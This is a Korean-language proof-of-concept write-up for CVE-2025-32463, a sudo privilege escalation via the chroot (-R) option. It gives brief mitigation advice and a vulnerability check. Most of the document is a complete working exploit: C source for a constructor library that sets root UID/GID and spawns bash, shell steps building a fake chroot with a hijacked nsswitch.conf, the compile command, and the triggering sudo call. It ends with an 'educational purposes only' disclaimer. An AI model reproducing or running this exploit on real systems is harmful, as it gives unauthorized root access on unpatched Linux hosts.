
CVE-2025-32463 - Sudo 권한 상승에 대한 PoC 익스플로잇
sudo에 Linux/Unix 기반 시스템에 영향을 주는 권한 상승 취약점이 존재합니다. 이 결함은 sudo가 -R(--chroot) 옵션과 함께 사용될 때 잘못된 경로 검증으로 인해 발생하며, 공격자가 악성 NSS 라이브러리 로딩을 통해 root로 권한을 상승시킬 수 있습니다.
sudo가 chroot 환경(-R 옵션) 내에서 명령을 실행할 때, 오류 조건에서 NSS(Name Service Switch) 라이브러리 로딩을 잘못 처리합니다.LD_LIBRARY_PATH 또는 /etc/nsswitch.conf의 경로를 정화하지 못함)으로 인해 합법적인 NSS 라이브러리(예: libnss_files.so) 대신 악성 라이브러리가 로드될 수 있습니다.sudo를 최신 패치 버전으로 업데이트하세요.sudo 권한을 제한하세요(가능한 경우 chroot 사용을 제한).LD_LIBRARY_PATH를 제한하세요./etc/nsswitch.conf를 안전하게 보호하세요./etc/sudoers에서 secure_path를 적용하여 라이브러리 검색 경로를 제한하세요.| 구성 요소 | 취약점 트리거 |
|---|---|
sudo -R | 잘못된 chroot 경로 검증. |
| NSS | 오류 중 안전하지 않은 라이브러리 로딩. |
| 익스플로잇 | 경로 하이재킹 → 악성 라이브러리 로드. |
CVE ID: CVE-2025-32463
영향받는 버전: Sudo 1.9.14 ~ 1.9.17
CVSS 점수: 9.8 (치명적)
영향: 로컬 권한 상승으로 root 획득
No such file or directory라고 응답하면 취약한 것입니다:
sudo -R invalid invalid
sudo: invalid: No such file or directory
먼저 작업할 임시 디렉터리를 생성합니다:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
이 명령은 고유한 이름의 임시 디렉터리를 생성하고 그 안으로 이동합니다. mktemp 명령은 기존 시스템 파일을 방해하지 않도록 보장합니다.
악성 라이브러리로 컴파일될 C 파일(bridge90.c)을 생성해야 합니다:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
주요 구성 요소:
__attribute__((constructor))는 라이브러리가 로드될 때 함수가 실행되도록 보장합니다
setreuid와 setregid는 권한을 root로 상승시킵니다
execl은 bash 셸을 생성합니다
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
세부 설명:
bridge/etc에 가짜 chroot 환경을 생성합니다
nsswitch.conf를 수정하여 악성 경로를 가리키도록 합니다
실제 /etc/group 파일을 복사하여 정상적인 것처럼 유지합니다
악성 라이브러리를 위한 디렉터리를 생성합니다
C 코드를 NSS(Name Service Switch) 규칙에 맞는 이름의 공유 라이브러리로 컴파일합니다
sudo -R bridge bridge
이 명령은 우리가 만든 환경을 사용하려고 시도합니다:
첫 번째 bridge는 악성 구성을 포함하는 chroot 디렉터리입니다
두 번째 bridge는 실행할 명령입니다(우리 라이브러리를 로드할 것입니다)
성공적인 익스플로잇 후 root 접근 권한을 확인하세요:
whoami # "root"를 반환해야 합니다
id -u # "0"을 반환해야 합니다 (root의 UID)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]이 PoC 익스플로잇은 교육 목적으로만 제공됩니다! 이 익스플로잇으로 인해 발생할 수 있는 모든 오용에 대해 저는 책임지지 않습니다!